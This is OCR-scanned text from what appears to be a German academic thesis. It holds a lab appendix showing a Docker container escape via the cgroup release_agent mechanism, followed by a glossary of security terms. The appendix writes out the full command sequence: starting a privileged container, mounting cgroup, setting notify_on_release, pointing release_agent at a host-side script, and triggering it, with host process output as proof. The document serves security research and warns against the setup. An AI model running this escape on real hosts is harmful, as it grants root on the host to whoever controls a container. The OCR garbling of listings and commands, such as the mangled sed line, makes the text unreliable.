2020
2020
2020
2020
2020
2020
2021
2020

2019

/bin/bsd-write
/bin/chage
/bin/chsh
/bin/crontab
/bin/expiry
/bin/mount
/bin/passwd
/bin/sg -> newgrp
/bin/ssh-agent
/bin/su
/bin/sudo
/usr/bin/chage
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/crontab
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/su
/usr/bin/sudo

/usr/bin/umount

— /var/lib/docker/overlay2/9bf1de59[...]168288d95/diff/bin/mount
63568 Jan 10 2019
— /var/lib/docker/overlay2/9bf1de59[...]168288d95/diff/bin/su

“IrwSr—Xr-Xx

[...]

1 root

root
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Anhang J Untersuchung: Containerausbruch

#

Aufl. J.1 Lhﬂemuchung:Contmnerauﬁyuch[89,90,71,73,68][AMJéJA [\ ]

SZENARIO 28.07.2021, 12:00 - 18:00

Angreifende moechten schuetzenswerte Daten erbeuten
Angreifende moechten Schaden an Infrastruktur verursachen
Angreifende fuehren unkomplizierten Containerausbruch durch

VORAUSSETZUNGEN

Container mit capability SYS_ADMIN
Container mit unbegrenzten AppArmor oder anderweitig mount erlaubt

Virtuelles cgroup-Dateisystem muss im Container eingehaengt werden koennen

Root-Rechte im Container zum Ausfuehren von mount

SICHERHEITSHINWEISE

Fuer den operationellen Betrieb wird dringend davon abgeraten,

auch nur eine genannten Voraussetzungen dieser Untersuchung umzusetzen!

#

N =

FHORH R OFH W OB R R R OW W R R R O™ R

#

HYPOTHESEN
Nach Containerausbruch koennen schuetzenswerte Daten erbeutet werden
Nach Containerausbruch koennen Schaeden an Infrastruktur entstehen

UNTERSUCHUNG _ _ _

Optionen (Docker):
docker run einen Befehl in einem neuen Container ausfuehren
--rm Container nach Gebrauch entfernen
=3 interaktive Shell oeffnen (--interactive und --tty)
--cap-add= Linuz capabilities hinzufuegen

SYS_ADMIN umfangreiche systemadministrative Linuz-Funktionen
z. B. mount, umount
--security-opt Sicherheitsoptionen
apparmor= begrenzt Zugriff auf Dateten, Funktionen, Netzwerk ...
unconfined unbegrenzter Zugriff!

ubuntu:latest Image (letzte Version) ubuntu laden
bash Befehl bash ausfuehren

Hinweis: bei "-it" nur ein Minus

Auf dem Host eimnen Container mit unsicheren Parametern starten

ubuntu@vm:~$ docker run --rm -it \

#

--cap-add=SYS_ADMIN --security-opt apparmor=unconfined \
ubuntu bash

Innerhaldb des Containers: UID in der Bash ausgeben

root@6de7[...]:/# id

uid=0(root) gid=0(root) groups=0(root)
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J Untersuchung: Containerausbruch

Das wvirtuelle Dateisystem cgroup vl wird innerhaldb des Containers

schreibgeschuetzt eingehangen.

#

#

#

# cgroup
# memory
#
#
#
#

Controller cgroup-Dateisystem einhaengen

Speicher-Controller unterstuetzt:

Meldung und Begrenzung von Prozessspeichers,

des Kernelspeichers und des won cgroups verwendeten Swaps.

Verzeichnisse erstellen und cgroup mit Option memory einhaengen
root@6de7[...]:/# mkdir /tmp/cgrp && \
mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Auflisten des Inhalts im Verzeichnis

root@6de7[...]:

total 4

dr-xr-xr-x
drwxrwxrwt
-rw-r--r--
——W——W—-W-—
-rw-r--r--
T
drwxr-xr-x
drwxr-xr-x

-rw-r--r--
S
[...]
—T=—T-—-T——
-rw-r--r--
-rw-r--r--
-Tw-r--r--

drwxr-xr-x
-TW-r—--r——
drwxr-xr-x
drwxr-xr-x

1

P~ N WL, R~ P~ P~ P2 N

=R s e

08

e

3 root
2 root

root
root
root
root
root
root
root
root
root
root

root
root
root
root
root
root

root
root
root
root
root
root
root
root
root
root

root
root
root
root
root
root
root
root

409

6

O O O O © © © o

O O O O © © © o

Jul
Jul
Jul
Jul
Jul
Jul
Jul
Jul
Jul
Jul

Jul
Jul
Jul
Jul
Jul
Jul
Jul
Jul

/# 1s -al /tmp/cgrp/

28
28
28
28
28
28
28
28
28
28

28
28
28
28
28
28
28
28

12:46 .
14:54 ..
14:55
14:55
12:47
14:55
14:53
12:47
14:55
14:55

do

14:55
12:46
14:55
14:55
12:46
14:55
12:46 us
14:55 x

S

# Auflisten des Inhalts im Unterverzeichnis
root@6de7[...]:/# 1s -al /tmp/cgrp/x/

total O
drwxr-xr-x
dr-xr-xr-x
-rw-r--r--
——W——W——W-—
-rw-r--r-—-
-rw-r--r--
—————————
[...]
PP
-rw-r--r-—-
-rw-r--r--
-rw-r--r--

N = I N

[y

root
root
root
root
root
root
root

root
root
root
root

root
root
root
root
root
root

O O O O © © ©

root

root
root
root

O O O O

root

Jul
Jul
Jul
Jul
Jul
Jul
Jul

Jul
Jul
Jul
Jul

28
28
28
28
28
28
28

28
28
28
28

14:

12

14:
14:
14:
14:
14:

14:
14:
14:
14:

55 .

146 ..

55
55
55
55
55

55
55
55
55

cgroup.
cgroup.
cgroup.
memory.
memory.

memory.
memory.
notify_
tasks

cgroup.clone_children
cgroup.event_control

cgroup.procs
cgroup.sane_behavior

cker

init.scope
memory.failcnt
memory.force_empty

memory.usage_in_bytes
memory.use_hierarchy
notify_on_release

release_agent # <-- RELEASE_AGENT

stem.slice

tasks

er.slice

clone_children
event_control

procs
failcnt
force_empty

usage_in_bytes
use_hierarchy

on_release

# <-- NOTIFY
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J Untersuchung: Containerausbruch

# RELEASE AGENT _
# Die spezielle Datei release_agent im Stammverzeichnis jeder

— cgroup-Hierarchie kann verwendet werden, um den Pfadnamen eines Programms
— 2u registrieren, das dann aufgerufen werden kann, wenn eine cgroup in der
— Hierarchie leer wird.

# Der Pfadname der neuen leeren cgroup (relativ zum cgroup Einhaengepunkt)
— wird als einziges Befehlszeilenargument angegeben, wenn das Programm

— release_agent aufgerufen wird. Das release_agent—-Programm entfernt

— moeglicherweise das cgroup-Verzeichnis oder fuellt es mit einen Prozess.

# 0b das Programm release_agent aufgerufen wird, wenn eine bestimmte cgroup
— leer wird, bestimmt ein Wert (0 = wird nicht aufgerufen; 1 = wird
aufgerufen) in der Datei motify on_release im entsprechenden
cgroup-Verzeichnis. Der Standardwert fuer diese Datei im der Root-Cgroup
st 0.

r i

# Wenn eine neue cgroup erstellt wird, wird der Wert in dieser Datet won der
— entsprechenden Datei in der uebergeordneten cgroup uebernommen.

# Programm release_agent aufrufen lassen, wenn cgroup leer wird
root@6de7[...]:/# echo 1 > /tmp/cgrp/x/notify_on_release

root@6de7[...]:/# cat /etc/mtab
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/1/7VHGHM6K |
— 5MVPIYF3L7RGBIGBF3:/var/lib/docker/overlay2/1/PZ4WBNEDCRKMPEIC3PHM3FIDJ
L4:/var/lib/docker/overlay2/1/LNIR3HCOVS52BN2ANJXPEV7GRW: /var/1ib/dock |
er/overlay2/1/D6LE7YRENLRU7CMPD4H7UH465A, upperdir=/var/1lib/docker/over |
1ay2/3d38a5b51a76d70936663de05df901144e5782dd63d366124ca3954e841a75df/J
diff,workdir=/var/1ib/docker/overlay2/3d38a5b51a76d70936663d605df90114J
4e5782dde3d3e6124ca3954e841a75df /work 0
0
..

L A

root@6de7[...]:/# host_path="sed -n 's/.*\perdir=\([",]*\).*x/\1/p' /etc/mtab”

root@6de7[...]:/# echo $host_path
/var/lib/docker/overlay2/3d38a5b51a76d70936663de05df901144e5782dde3d3e6124 |
< ca3954e841a75df/diff

root@6de7[...]:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent

root@6de7[...]:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/3d38a5b51a76d70936663de05df901144e5782dde3d3e6124 |
— ca3954e841a75df/diff/cmd

root@6de7[...]:/# echo '#!/bin/sh' > /cmd

root@6de7[...]:/# echo "ps aux > $host_path/output" >> /cmd

root@6de7[...]:/# chmod a+x /cmd

root@6de7[...]:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

root@6de7[...]:/# cat /output

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
[...]
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J Untersuchung: Containerausbruch

ubuntu 4800 0.5 1.2 815880 52108 ? Rsl 16:48 0:05

— /usr/libexec/gnome-terminal-server

ubuntu 4808 0.0 0.1 11108 5012 pts/0 Ss 16:48 0:00 bash
ubuntu 4843 0.0 1.4 831096 56584 pts/0 S1+ 16:53 0:00 docker

< run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined

— ubuntu bash

root 4866 0.1 0.2 713584 9212 7 S1 16:53  0:00

— /usr/bin/containerd-shim-runc-v2 -namespace moby -id

— 6de7[...]cbd542891d215b958eafe2b7263c823f107f£67b07bafb0d546b -address
— /run/containerd/containerd.sock

root 4886 0.0 0.0 4240 3484 pts/0 Ss+ 16:53 0:00 bash
root 4925 0.0 0.0 0 0 I 16:54 0:00

— [kworker/u4:0-events_unbound]

root 4941 0.0 0.0 0 07 I 16:59 0:00

— [kworker/u4:2-events_power_efficient]

root 4950 0.0 0.0 2616 596 7 S 17:04 0:00 /bin/sh

— /var/lib/docker/overlay2/3d38abb51a76d70936663de05df901144e5782dde3d3e |
< 6124ca3954e841a75df/diff/cmd

— /X

root 4951 0.0 0.0 5904 2820 7 R 17:04 0:00 ps aux

# NACHWEIS
ubuntu@vm:~$ sudo cat /var/lib/docker/overlay2/3d38a5b51a76d70936663de05df9011

—

44e5782dde3d3e6124ca3954e841a75df/diff/cmd

#1/bin/sh

ps aux > /var/lib/docker/overlay2/3d38a5b51a76d70936663de05df901144e5782dd |
— e3d3e6124ca3954e841a75df/diff/output

ubuntu@vm:~$ sudo cat /var/lib/docker/overlay2/3d38a5b51a76d70936663de05df9011

—

44e5782dde3d3e6124ca3954e841a75df/diff/output

USER PID %CPU JMEM VSZ RSS TTY STAT START TIME COMMAND
[...]

ubuntu 4800 0.5 1.2 815880 52108 ? Rsl 16:48 0:05

< /usr/libexec/gnome-terminal-server

ubuntu 4808 0.0 0.1 11108 5012 pts/0 Ss 16:48 0:00 bash
ubuntu 4843 0.0 1.4 831096 56584 pts/0 S1+ 16:53 0:00 docker

< run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined

— ubuntu bash

root 4866 0.1 0.2 713584 9212 7 S1 16:53 0:00

— /usr/bin/containerd-shim-runc-v2 -namespace moby -id

— 6de7[...]cbd542891d215b958eafe2b7263c823£107f£67b07bafb0d546b -address
— /run/containerd/containerd.sock

root 4886 0.0 0.0 4240 3484 pts/0 Ss+ 16:53 0:00 bash
root 4925 0.0 0.0 0 07 I 16:54 0:00

— [kworker/u4:0-events_unbound]

root 4941 0.0 0.0 0 07 I 16:59 0:00

— [kworker/u4:2-events_power_efficient]

root 4950 0.0 0.0 2616 596 7 S 17:04 0:00 /bin/sh

— /var/lib/docker/overlay2/3d38a5b51a76d70936663de05df901144e5782dde3d3e |
— 6124ca3954e841a75df/diff/cmd

s /X

root 4951 0.0 0.0 5904 2820 7 R 17:04  0:00 ps aux
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J Untersuchung: Containerausbruch

ERGEBNISSE

Ein Ausbruch aus dem Container kann gelingen unter der Nutzung von
der cgroup-Funktion release_agent

der capability-Gruppe SYS_ADMIN und

dem syscall-Befehl mount

DISKUSSION

Da auf dem Host geschrieben werden kann, koennen Daten abflieflen
Der Schreibzugriff auf dem Host findet mit Root-Rechten statt, wodurch
auf die Infrastruktur durch weitere Angriffsvektoren gewirkt werden kann

ZUSAMMENFASSUNG

Ein Containerausbruch ist unter den o. g. Voraussetzungen moeglich
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A|B|C|D|E|F|H|I|K|M|N|O|P|R|S|JU|V|W]|Y]|Z
A

Analyseskript ist ein beliebiges Skript, das von einer Interessengemeinschaften entwi-
ckelt und im Internet bereitgestellt wird, womit Daten analysiert und Ergebnisse
gespeichert werden kénnen. 4

Angriffsvektor ist eine Moglichkeit bei einem Cyberangriff im Phdnomenbereich des
Cybercrime, um ggf. in Kombination mit weiteren Vektoren in einem bestimmten
Ziel zu wirken. 4-7, 9, 26, 27, 29, 43, 44, 46, 55, 58, 63, 64, 66, 68, 73, siehe
Cyberangriff & Cybercrime

B

Banner-Grabbing ist eine Methode des OS-Fingerprinting, um die Version von Diensten
und Betriebssystemen durch Auslesen der Banner von Diensten wie SSH oder FTP
zu erkennen, die noch vor Abschluss des Verbindungsaufbaus angezeigt werden.
37, 47, 73, siehe OS-Fingerprinting

Bedrohung bezeichnet einen potenziellen Weg zum Eintreten eines Risikos (siehe Defi-
nition 8, Seite 11) [22]. 11, 12, 21, 22, 26, 27, siehe Risiko & Schadensminderung

Blacklist-Strategie ist eine Strategie fiir die Konfiguration von Firewalls, bei der

zunachst grundsatzlich jeder Netzwerkverkehr erlaubt wird und nur unerwiinschte
Verbindungen verboten werden. 44, siehe Firewall & Whitelist-Strategie

Cc

Clear Web andere Bezeichnung fiir das Surface Web. siehe Surface Web

Computervirus ist eine ,nicht selbstandige Programmroutine, die sich selbst reprodu-
ziert und dadurch vom Anwender nicht kontrollierbare Manipulationen in System-
bereichen, an anderen Programmen oder deren Umgebung vornimmt* [99]. 22,

siehe Schadsoftware

Container ist die aktive Instanz eines Images. 2-4, 15, 16, 33, 53, 58, 59, 63, 64, 67,
68, 70-73, siehe Docker & Image
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Container-Infrastruktur ist die Anwendung von Containervirtualisierung zur Umset-

zung ganzer I T-Infrastrukturen. 1, 2, 4-6, 15, 73, siehe Containervirtualisierung &
Docker

Containervirtualisierung ist eine Software zum Isolieren und Bereitstellen von An-

wendungen mittels Virtualisierung und dient zur Trennung und Verwaltung von

Ressourcen. 1, 2, 4, 10, 12, 15-17, 27, 30, 31, 73, siehe Container, Docker, Image
& Virtualisierung

Cracker sind , Hacker, die Sicherheitsliicken suchen und ausnutzen, um illegalen Zugriff

auf fremde Rechnersysteme zu erlangen und dort eventuell Schaden anrichten® [99].
siehe Hacker

Cyberangriff ist ein Angriff mit Angriffsvektoren im Phanomenbereich des Cybercrime,
der ein erhebliches Schadenspotential entfalten und fir Wirtschaftsunternehmen
existenzbedrohend sein sowie bei Einwirken auf Kritische Infrastrukturen innerhalb
kiirzester Zeit bedrohliche Auswirkungen auf Bevolkerung und Umwelt haben
kann [36]. 3-5, 10, 22-24, 27, siehe Angriffsvektor & Cybercrime

Cybercrime umfasst alle Straftaten, ,die sich gegen das Internet, Datennetze, infor-
mationstechnische Systeme oder deren Daten richten” (Cybercrime im engeren
Sinne) oder ,,die mittels Informationstechnik begangen werden" (Cybercrime im
weiteren Sinne) [36]. 3, 21, 23, 24, siehe Angriffsvektor & Cyberangriff

Cyberraum umfasst den virtuellen Raum aller , weltweit auf Datenebene vernetzten
bzw. vernetzbaren informationstechnischen Systeme", dem als ,6ffentlich zugangli-

ches Verbindungsnetz das Internet” zugrunde liegt, ,,das durch beliebige andere
Datennetze erweitert werden kann" [99]. 23, 27

D

Dark Web ist ein kleiner, nicht von Suchmaschinen indizierter Bereich des Internets

und als verschliisselter und weitestgehend anonymer Teilbereich des Deep Web

nicht auf Gbliche Weise mit handelsiiblichen Internetbrowsern nutzbar. 7, siehe
Deep Web

Darknet andere Bezeichnung fiir das Dark Web. siehe Dark Web
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Deep Web ist mit beispielsweise akademischen und unternehmerischen Datenbanken,
wissenschaftlichen Berichten, Repositories, Streaming- und Cloud-Diensten der
umfangreichste Bereich des Internets, der jedoch meist nicht von Suchmaschinen
indiziert wird, jedoch immer noch frei zuganglich, aber teilweise geschiitzt ist. siehe
Dark Web

Demiilitarisierte Zone ist ein durch Firewalls kontrolliertes Netzwerk, auf dessen Server
und Dienste iiber kontrollierte Zugriffe vom Internet und Intranet aus zugriffen
werden kann, der Zugriff vom Internet auf das Intranet aber verweigert wird. xi,
75, siehe Firewall

Denial of Service ist ein Dienstverweigerungsangriff, welcher durch Uberlastung die
Qualitat der Verfligbarkeit eines Dienstes reduziert oder so erheblich stort, dass
der Dienst nicht mehr verfliigbar ist. xi, 51, siehe Cyberangriff & Cybercrime

Distributed Denial of Service ist ein verteilter Dienstverweigerungsangriff, der Anfra-
gen von einer groBen Anzahl an Rechnern an ein Ziel sendet und die Ziele eines
Denial-of-Service-Angriffs verfolgt. xi, 65, siehe Cyberangriff, Cybercrime & Denial
of Service

Docker ist eine Freie Software zur Containervirtualisierung. 2, 4, 15, 33, 43, siehe
Container, Containervirtualisierung & Virtualisierung

E

Economic Denial of Sustainability ist eine Bedrohung die auf Cloud-Umgebungen
abzielt und die Elastizitat von Clouds ausnutzt, insbesondere die automatischen
Skalierungsfunktionen, um die Rechnungen eines Cloud-Nutzers aufzubldhen, bis
das Konto in Konkurs geht oder der Dienst in groBem Umfang eingestellt wird. xi,
65, siehe Cyberangriff, Cybercrime & Denial of Service

Exploit ist eine Moglichkeit, vorhandene Sicherheitsliicken in einer Software auszunutzen.
27, 45, 46, 67, siehe Schadsoftware & Sicherheitsliicke

Firewall ist ein System, das Rechnernetze oder einzelne Computer vor unerwiinschten
Netzwerkzugriffen schitzt. 37, 40, 44, 47

Freie Software ist eine Software, die fiir jeden Zweck untersucht, modifiziert, ausgefiihrt
und weiterverbreitet werden darf. 4, 15, 32, 38
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Fuzzing ist eine Methode fiir Softwaretests, mit der automatisiert Zufallsdaten an die
Eingabeschnittstellen eines zu testenden Proramms gesendet werden, um bei nicht
plausiblen Daten ungewollte Abstiirze und Sicherheitsliicken zu erkennen. 19, siehe
Sicherheitslicke

H
Hack ist das Ergebnis vom Hacken. 22, 45, siehe Hacker & Hacken

Hacken ist die Durchfiihrung von Aktivitaten eines Hackers oder einer Haeckse mit
einem oder mehreren Hacks als daraus resultierendes Ergebnis. 22, siehe Hacker,
Haeckse & Hack

Hacker ist ein ,,Computerbenutzer mit einem iiberdurchschnittlichen Fachwissen, die
sich mit dem Erstellen und Verdandern von Computersoftware oder -hardware
beschaftigen. Im Bereich der Computersicherheit gelingt es ihnen haufig Sicher-
heitsliicken in Computerprogrammen aufzuspiiren und dabei zu helfen, diese zu
beseitigen* [99]. 22

Haeckse ist eine Bezeichnung fiir weibliche Hacker. 22, siehe Hacker

Honeypot ist eine Einrichtung, die Angreifende ablenken oder in eine andere Richtung
lenken soll. 34

Hypervisor ist die Bezeichnung fiir einen Emulator, der die Hardware eines Computers
fur virtuelle Maschinen nachbildet, damit Gast-Betriebssysteme auf die Hardwa-
reressourcen des Host zugreifen kénnen. 1, 15, siehe Virtualisierung & Virtuelle
Maschine

Image ein Speicherabbild eines Containers. 2, 15, 27, 33, 59, 60, 63, 64, 68, siehe
Docker & Container

Intrusion Detection System ist ein System, das zur Angriffserkennung und als Ergéan-
zung zu einer Firewall eingesetzt werden kann. xi, 21, 47, 75, siehe Firewall

Intrusion Prevention System ist ein System, das zur aktiven und automatisierten

Abwehr von erkannten Angriffen eingesetzt werden kann. xi, 21, 47, 75, siehe
Intrusion Detection System
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Kernelmode ist ein privilegierter Modus mit direktem Zugriff auf die Hardware (z. B.
Speicherzugriff). 48

Kommunikationsprotokoll ist eine Vereinbarung die regelt, wie die Dateniibertragung
zwischen mehreren Parteien verlauft. 33, 38

Kritische Infrastrukturen sind Organisationen oder Einrichtungen mit erheblicher
»Bedeutung fiir das staatliche Gemeinwesen, bei deren Ausfall oder Beeintrachtigung
nachhaltig wirkende Versorgungsengpasse, erhebliche Storungen der 6ffentlichen
Sicherheit oder andere dramatische Folgen eintreten wiirden" [100]. xi, 3

M

Malware ist ein engl. Begriff fir Schadsoftware (abgeleitet von Malicious Software).
siehe Schadsoftware

Man in the Middle ist eine Angriffsvektor, bei dem Angreifende die Kontrolle iiber den
Datenverkehr zwischen zwei oder mehr Systemen haben und dabei Informationen
mitlesen oder verandern koénnen. xi, 64

Microservice ist ein unabhaniger Prozess komplexer und nicht-monolitischen Anwen-
dungen, um modularisiert deren Skalierbarkeit und Kontrollierbarkeit erhdhen zu
konnen. 15, 74

Minimalsystem ist ein System, meist in Bezug auf Hard- und Software wie beispielsweise
ein Betriebssystem, bei dem lediglich nur die absolut notwendigsten Komponenten

installiert sind, um so unter anderem mogliche Fehler- und Angriffsflachen zu
minimieren. 32

N

Netzwerkprotokoll ist ein Kommunikationsprotokoll in Anwendung von Rechnernetzen.
33-35, siehe Kommunikationsprotokoll

0]

Open Source ist eine Software, dessen Quelltext 6ffentlichen zuganglich ist und der
von Dritten eingesehen, genutzt und verandert werden darf. 20, 32, 38

Open Source Intelligence ist eine Methode, bei der in offenen Quellen wie dem

Internet nach relevanten oder sensiblen Informationen tber eine Zielperson oder
ein Zielsystem gesucht wird. xi, 25
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Orchestrator ist ein Dienst zur automatischen Verteilung von containerbasierten Anwen-
dungen, der zum Download der Images auf ein Cluster von Servern zuriickgreifen
kann. 2, 15, siehe Docker, Image & Container-Infrastruktur

OS-Fingerprinting sind aktive und passive Methoden zur Erkennung von Betriebssys-
temversionen (ber Netzwerke, indem verschiedene Reaktionsweisen von Systemen
beobachtet und ausgewertet werden. Bei aktiven Methoden werden Daten zum
Ziel gesendet und die Antwort darauf analysiert. Bei passiven Methoden wird
ausschlieBlich der entstandene Datenverkehr analysiert. 37, siehe Banner-Grabbing

P

Penetrationstest ist das Suchen nach einer kritischen Sicherheitsliicke ohne vorab
Zugriff auf Dokumentationen oder Zugriffsberichtigungen fiir das zu testende IT-
System zu erhalten (Black-Box-Test). 19, 23, 27, 46, siehe Schwachstellenanalyse
& Sicherheitsliicke

Proprietdre Software ist eine Software, die Einschrankungen in der Wieder- und Wei-
terverwendung, Anpassung und Anderung durch Dritte unterliegt. 32

Protokoll ist eine Kurzbezeichnung fiir Kommunikationsprotokoll. 33, 34, 37, siehe
Kommunikationsprotokoll

R

Ransomware zielt in seinen unterschiedlichen Varianten in der Regel auf die Verschliis-

selung von Daten und dem erpressen eines Losegelds ab [101]. 21, siehe Cybercrime
& Cyberangriff

Repository ist je nach Bezug eine Quelle zur Bereitstellung von Paketen (fir die
Installation von Linuxprogrammen) oder Images (fiir die Instanzierung von Docker-
Containern) verschiedener Versionen. 27, 74, siehe Docker & Image

Reverse Engineering ist entweder die Riickgewinnung von Quelltext oder der Beschrei-
bungen aus dem Maschinencode von nicht-quelloffener Software mittels Disassem-
bler oder Decompiler, oder die ErschlieBung von Kommunikationsprotokollen durch
Beobachtung von Netzwerkverkehr. 19, 38, siehe Kommunikationsprotokoll

Risiko bezeichnet ein potenzielles Problem sowie dessen Auswirkungen, wenn es auftritt

(siehe Definition 7, Seite 11) [22]. 11, 12, 36, 70, siehe Bedrohung & Schadens-
minderung
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Root-Rechte bezeichnen meist im Zusammenhang mit UNIX-/Linux-Systemen die
administrativen Berechtigungen, um beispielsweise alle Dateien 6ffnen und lesen,
alle Rechte andern oder Systemdateien bearbeiten zu kénnen [102]. 25, 36, 40, 43,
50, 55, 62, 64, 66—68, 70-72, 74

S

Safety bedeutet in Bezug zur IT-Sicherheit vereinfacht so viel wie ,Ausfallsicherheit’
und intendiert zudem meist ,langlebig’. 3, 73

Schadensminderung bezeichnet eine potenzielle GegenmaBnahme zur Verhinderung
oder Verringerung der Auswirkungen gegen eine Bedrohung (siehe Definition 9,
Seite 11) [22]. 11, 12, 44, siehe Risiko & Bedrohung

Schadsoftware ist ein Schadprogramm, das unerwiinschte und meist schadliche Funk-
tionen beinhaltet und ausfihrt. 5, 10, 21, 23, 27, 34, 36, 61, 66, 73, siehe Malware

Schadsoftwareschutz ist eine Software, die Schadsoftware fiir Computer wie z. B.
Trojaner, Viren, Wiirmer, Adware oder Backdoors aufspiiren, blockieren und
beseitigen kann. 33

Schnittstelle ist ein Teil eines Systems, das zur Kommunikation mit anderer Software,
anderen Geraten oder Diensten dient. 43, 44, sieche Kommunikationsprotokoll

SchutzmaBnahme ist eine Moglichkeit, um die Wirkung und das AusmaB von Angriffs-
vektoren verhindern oder abschwachen zu kénnen. 2, 4, 5, 7, 25, 27, 29, 65, 73,
74, siehe Angriffsvektor

Schwachstellenanalyse ist das Finden von moglichst zahlreichen kritischen Sicher-
heitsliicken mit Hilfe von umfangreichen Dokumentationen sowie Zutritt- und
Zugriffsberichtigungen fiir das zu testende IT-System (Whitebox-Test). 19, 23, 27,
39, 46, siehe Penetrationstest & Sicherheitsliicke

Security bedeutet in Bezug zur IT-Sicherheit vereinfacht so viel wie ,Betriebssicherheit'
und intendiert zudem meist ,kurzlebig’. 3, 66, 73

Sicherheitsanalyse ist ein anderer Begriff fiir Schwachstellenanalyse. siehe Schwach-
stellenanalyse
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Sicherheitsgrenze ist eine Separierung von Komponenten, die beispielsweise durch die
Erkennung der Ausnutzung von Schicherheitsliicken frithzeitig Angriffe sichtbar
und unschadlich machen und so zur Begrenzung des Schadens beitragen kann.
3, 12, 20, 43, 59, 68, 74, siehe Sicherheitsliicke, Intrusion Detection System &
Intrusion Prevention System

Sicherheitsliicke ist ein Fehler, der in Software oder Konfigurationen auftreten kann
und Angreifenden das Eindringen in ein Computersystem oder Ausfiihren von
Programmen mit Schadsoftware erméglichen kann. 5, 7, 12, 19-21, 25, 26, 36,
39, 43-46, 55, 58, 61, 62, 64, 67, 68, 71, 72, siehe Schadsoftware & Exploit

Social Engineering ist das Aufbauen und Ausnutzen sozialer Beziehungen. 11, 23, 25,
27, 45

Surface Web ist ein kleiner, aber frei und allgemein leicht zuganglicher Bereich des
Internets, da dieser von den meisten Suchmaschinen indiziert wird und die Inhalte
anhand von Suchbegriffen gefunden werden konnen. 6

Syscall ist eine Bibliotheksfunktion, die den Systemaufruf, dessen Assembler-Schnittstelle
eine Nummer hat, mit den iibergebenen Argumenten aufruft. 48, 49, 52

U

Usermode ist ein unprivilegierter Modus ohne direkten Zugriff auf die Hardware (z. B.
kein Speicherzugriff). 48

\

Virtual Private Network ist eine verschliisselte Netzwerkverbindung tiber ein ggf. un-
verschliisseltes oder unsicheres Transportmedium wie dem Internet (z. B. offentliche
WLAN-Zugénge) zu einem definierten Zielnetzwerk (z. B. Firmennetzwerk). xi, 1,
siehe Virtualisierung

Virtualisierung ist die Nachbildung von Hard- und Software auf gemeinsam genutzter
Hardware. 15, 16, 33, siehe Virtuelle Maschine

Virtuelle Maschine ist ein virtueller Computer (Gast), der auf einem physischen Com-

puter (Host) ausgefithrt und somit virtualisiert wird. xi, 4, 7, 15, 16, 40, siehe
Virtualisierung
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virtuelles Dateisystem ist eine Schicht zwischen Betriebs- und Dateisystem, dient zur
Vereinheitlichung des Zugriffs auf die verschiedenen Dateisysteme und ermoglicht
deren Einbindung (mounten) in das System [103]. xi, siehe Virtualisierung

w
Whitelist-Strategie ist eine Strategie bei der Konfiguration von Firewalls, bei der

zunachst grundsatzlich jeder Netzwerkverkehr verboten wird und nur erwiinschte
Verbindungen erlaubt werden. 44, siehe Firewall & Blacklist-Strategie

Y
YAML ist ein von Menschen leicht les- und schreibbare Auszeichnungssprache zur

Serialisierung von Daten, womit beispielsweise Konfigurationsdateien erstellt werden
konnen. xi, 33, 68, siehe Docker

z

Zero-Day-Exploit ist ein Exploit, der solange Zero-Day-Exploit genannt wird, bis die
ausgenutzte Sicherheitsliicke bekannt wird oder eine Korrekturauslieferung der
betreffenden Software verfiigbar ist. 5, 7, 43, siehe Exploit & Sicherheitsliicke
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